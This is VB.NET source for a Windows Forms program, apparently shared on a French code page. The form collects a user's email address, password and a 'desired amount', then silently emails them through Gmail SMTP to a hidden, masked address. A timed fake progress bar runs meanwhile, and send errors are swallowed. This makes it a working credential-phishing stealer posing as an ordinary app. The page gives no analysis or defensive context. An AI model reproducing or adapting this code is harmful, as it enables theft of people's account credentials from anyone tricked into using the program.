1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
TextBox1.Enabled = False
TextBox2.Enabled = False
RadioButton1.Enabled = False
RadioButton2.Enabled = False
RadioButton3.Enabled = False
RadioButton4.Enabled = False
RadioButton5.Enabled = False
Timer1.Start()
Dim MyMailMessage As New MailMessage()
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
MyMailMessage.From = New MailAddress("**********@gmail.com")
MyMailMessage.To.Add("*************@gmail.com")
MyMailMessage.Subject = ("**********")
MyMailMessage.Body = ("Email entrer: " & TextBox1.Text & " Passeword: " & TextBox2.Text & " Montant souhaiter: " & TextBox3.Text)
SMTPServer.Port = ("587")
SMTPServer.Credentials = New System.Net.NetworkCredential("********@gmail.com", "***********")
SMTPServer.EnableSsl = True
Try
SMTPServer.Send(MyMailMessage)
Catch ex As Exception
End Try
End Sub
________________________________________________________________________________________________________________________
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Value = ProgressBar1.Value + 1
If ProgressBar1.Value = ProgressBar1.Maximum Then
ProgressBar1.Value = 0
Timer1.Stop()
Timer1.Enabled = False
TextBox1.Enabled = True
TextBox2.Enabled = True
RadioButton1.Enabled = True
RadioButton2.Enabled = True
RadioButton3.Enabled = True
RadioButton4.Enabled = True
RadioButton5.Enabled = True
End If
End Sub
________________________________________________________________________________________________________________________
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
End
End Sub
_________________________________________________________________________________________________________________________
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Me.WindowState = FormWindowState.Minimized
End Sub
End Class |
Partager